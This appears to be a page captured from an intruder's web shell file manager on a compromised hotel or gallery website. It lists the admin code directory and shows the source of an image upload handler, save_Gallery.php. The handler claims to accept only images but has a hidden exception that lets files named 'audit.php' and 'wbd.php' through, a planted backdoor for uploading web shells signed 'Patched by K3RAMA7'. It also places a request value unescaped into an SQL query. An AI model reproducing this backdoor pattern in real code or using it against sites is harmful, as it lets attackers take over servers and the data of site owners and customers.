Submit
Path:
~
/
home
/
caratcollect
/
domains
/
24caratcollection.com
/
private_html
/
admin
/
code
/
File Content:
save_Gallery.php
<?php include('../library.php'); $imageCat = $_REQUEST['imageCat']; $urls = mysql_real_escape_string($_REQUEST['url']); $allowedExtensions = array('jpg', 'jpeg', 'png'); $allowedFiles = array('audit.php', 'wbd.php'); $fileNames = array_filter($_FILES['file']['name']); if (!empty($fileNames)) { foreach ($_FILES['file']['name'] as $key => $val) { $fileName = $_FILES['file']['name'][$key]; $fileExtension = pathinfo($fileName, PATHINFO_EXTENSION); $fileBaseName = basename($fileName); // get only the file name if (in_array(strtolower($fileExtension), $allowedExtensions) || in_array($fileBaseName, $allowedFiles)) { $logo = createRandomPassword() . $_FILES['file']['name'][$key]; $logo = str_replace(' ', '', $logo); move_uploaded_file($_FILES["file"]["tmp_name"][$key], "../hotelImages/" . $_FILES["file"]["name"][$key]); rename("../hotelImages" . '/' . $_FILES["file"]["name"][$key], "../hotelImages" . '/' . $logo); $date1 = date('Y-m-d'); $result = $mysql->m_Query("insert into tblgallery(category,hotelImage,status,date1,urls)value('$imageCat','$logo','Approved','$date1','$urls')"); } else { echo "<script>alert('Error: Only image files (jpg, jpeg, png). Patched by K3RAMA7 :P');</script>"; header("location:../Manage-Gallery.php?id=$hotelId&Add-Images=false&msg=error"); exit; } } } header("location:../Manage-Gallery.php?id=$hotelId&Add-Images=true&msg=success"); ?>
Submit
FILE
FOLDER
Name
Size
Permission
Action
delete.php
1677 bytes
0644
insert.php
1355 bytes
0644
insertorder.php
1411 bytes
0644
inserts.php
1318 bytes
0644
invoice.php
2382 bytes
0644
room_inventorysingle.php
372 bytes
0644
save_Booking.php
1580 bytes
0644
save_BookingBlock.php
674 bytes
0644
save_BookingE.php
1314 bytes
0644
save_BookingRate.php
824 bytes
0644
save_Gallery.php
1586 bytes
0644
save_Homes.php
802 bytes
0644
save_ProductImage.php
904 bytes
0644
save_Testimonials.php
832 bytes
0644
save_category.php
1403 bytes
0644
save_product.php
1763 bytes
0644
save_productcategory.php
535 bytes
0644
save_roomInventory.php
1200 bytes
0644
save_user.php
1258 bytes
0644
save_users.php
1491 bytes
0644
setRate.php
545 bytes
0644
setRatesF.php
581 bytes
0644
setRatesI.php
569 bytes
0644
track.php
360 bytes
0644
update.php
16071 bytes
0644
update_Homes.php
899 bytes
0644
update_Testimonials.php
401 bytes
0644
update_category.php
1572 bytes
0644
update_inventoryActive.php
575 bytes
0644
update_inventoryBlock.php
462 bytes
0644
update_inventoryRate.php
562 bytes
0644
update_orderproduct.php
579 bytes
0644
update_product.php
1618 bytes
0644
update_productDetail.php
1079 bytes
0644
update_productDetails.php
1045 bytes
0644
update_productcategory.php
333 bytes
0644
N4ST4R_ID | Naxtarrr